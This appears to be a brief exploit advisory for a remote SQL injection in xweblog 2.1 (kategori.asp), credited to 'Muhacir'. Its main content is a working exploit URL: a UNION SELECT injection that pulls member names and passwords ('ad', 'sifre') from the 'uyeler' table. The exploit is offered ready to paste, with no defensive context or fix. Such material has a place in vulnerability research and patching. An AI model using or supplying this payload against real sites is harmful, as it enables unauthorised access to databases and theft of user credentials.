xweblog versions 2.1 and below suffer from a remote SQL injection vulnerability in kategori.asp.
afb172960c8251dacdc1e4df1fbdc91184ffdf31f92c179866c53aed242c65c3
# xweblog <= 2.1 (tr) (kategori.asp)Remote SQL Injection Vulnerability
# Author : Muhacir
# Source : http://www.aspindir.com/goster/4386
# Exploit : http://www.victim.com/[xweblog path]/kategori.asp?kategori=-1%20union%20select%200,ad,2,3,4,5,6,7,8,9,sifre,11,12%20from%20uyeler
# Greetz To : str0ke :)